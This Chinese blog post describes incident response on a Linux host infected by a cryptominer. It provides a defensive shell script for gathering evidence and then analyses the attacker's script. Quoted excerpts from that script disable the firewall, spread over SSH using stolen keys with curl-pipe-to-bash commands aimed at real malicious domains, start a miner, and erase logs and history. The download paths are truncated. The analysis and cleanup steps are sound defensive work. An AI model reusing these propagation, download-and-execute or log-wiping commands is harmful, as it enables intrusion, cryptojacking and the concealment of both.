Linux应急响应笔记

admin 2021年1月8日18:00:50评论150 views字数 5751阅读19分10秒阅读模式

背景

前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。

PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。

应急操作笔记

查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。

自动化信息收集

我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。

#!/bin/bash
function initial(){ echo "Doing initial" mkdir /tmp/GatherInfo chmod +x ./chkrootkit chmod +x ./busybox}
function chkrootkit_info(){ echo "Doing chkrootkit" ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1}
function network_info(){ echo "Gathering network info" netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1 netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1}
function process_info(){ echo "Gathering process info" ps aux > /tmp/GatherInfo/ps_aux.log 2>&1 ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1 top -n 1 > /tmp/GatherInfo/top_n1.log 2>&1}
function init_info(){ echo "Gathering init info" chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1 ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1}
function cron_info(){ echo "Gathering cron info" cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1 cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&1 crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1
cd /etc/cron.d/ cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1 cd /etc/cron.daily/ cat * > /tmp/GatherInfo/etc_daily.log 2>&1 cd /etc/cron.hourly/ cat * > /tmp/GatherInfo/etc_hourly.log 2>&1 cd /etc/cron.monthly/ cat * > /tmp/GatherInfo/etc_monthly.log 2>&1 cd /etc/cron.weekly/ cat * > /tmp/GatherInfo/etc_weekly.log 2>&1 cd /var/spool/cron/ cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1 cd /var/spool/anacron/ cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1}
function other_info(){ echo "Gathering other info" cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1 ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1 ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1 ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&1 echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1 cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1 s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1 cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1
for user in /home/* do if test -d $user;then cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1 fi done}
initialchkrootkit_infonetwork_infoprocess_infoinit_infocron_infoother_info
cd /tmptar -zcvf GatherInfo.tar.gz GatherInfo

信息收集结果分析

查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查

应急响应检查表

Linux应急响应笔记Linux应急响应笔记

在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务

59 * * * * root (curl -fsSL http://t.amynx.com/ ......28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......13 * * * * root ps aux|grep lplp.ackng.com ......

我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么

恶意脚本分析

恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码

#/bin/bashprocesses(){    killme() {      killall -9 chron-34e2fg;ps wx|awk '/34e|r/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &    }
killa() { what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null& }
killa 34e2fg killme
killall .Historys killall .sshd killall neptune killall xm64 killall xm32 killall xmrig killall .xmrig killall suppoieup
# sshd ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid while read sshdpid do if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v %CPU) | sed -e 's/.[0-9]*//g') -ge 60 ] then kill $sshdpid fi done < /tmp/ssdpid rm -f /tmp/ssdpid
# Removing miners by known path IOCfiles(){ ulimit -n 65535 rm -rf /var/log/syslog chattr -iua /tmp/ chattr -iua /var/tmp/ chattr -R -i /var/spool/cron chattr -i /etc/crontab ufw disable iptables -F echo "nope" >/tmp/log_rot sudo sysctl kernel.nmi_watchdog=0 echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf rm /tmp/.cron rm /tmp/.main rm /tmp/.yam* -rf rm -f /tmp/irq
# Killing and blocking miners by network related IOCnetwork(){ # Kill by known ports/IPs netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
filesprocessesnetworkecho "DONE"

接下来是下载恶意二进制程序以及ssh横向传播

代码片段1if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then  for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......fi
代码片段2for file in /home/*do if test -d $file; then if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done fi fidone
代码片段3 for user in $userlist; do for host in $hostlist; do for key in $keylist; do for sshp in $sshports; do i=$((i+1)) if [ "${i}" -eq "20" ]; then sleep 20 ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null & i=0 fi #Wait 20 seconds after every 20 attempts and clean up hanging processes
chmod +r $key chmod 400 $key echo "$user@$host $key $sshp" ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &" done done done done

上面这三段代码是通过ssh的证书登录方式横向感染传播。

if [ ! -d "/.Xll" ];then    mkdir /.Xllficd /.Xllif [ ! -f "./xr" ];then    uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......fiuname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529

上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。

最后是清理痕迹

history -cecho 0>/var/spool/mail/rootecho 0>/var/log/wtmpecho 0>/var/log/secureecho 0>/var/log/cronecho > /root/.bash_history

清理与恢复

根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录

总结与反思

病毒标识

目录及文件 /.Xll 和 /.Xll/xr

进程表示 ps aux | grep lplp.ackng.com

两个域 t.amynx.com, t.jdjdcjq.top

挖矿威胁小于勒索

每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。

无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。

防护建议

一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。

最后,我把上述用到的脚本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中,有需要的读者可下载使用,欢迎任何的反馈意见。


Linux应急响应笔记



精彩推荐





Linux应急响应笔记
Linux应急响应笔记Linux应急响应笔记

Linux应急响应笔记

Linux应急响应笔记

Linux应急响应笔记

Linux应急响应笔记

本文始发于微信公众号(FreeBuf):Linux应急响应笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月8日18:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux应急响应笔记http://cn-sec.com/archives/236270.html

发表评论

匿名网友 填写信息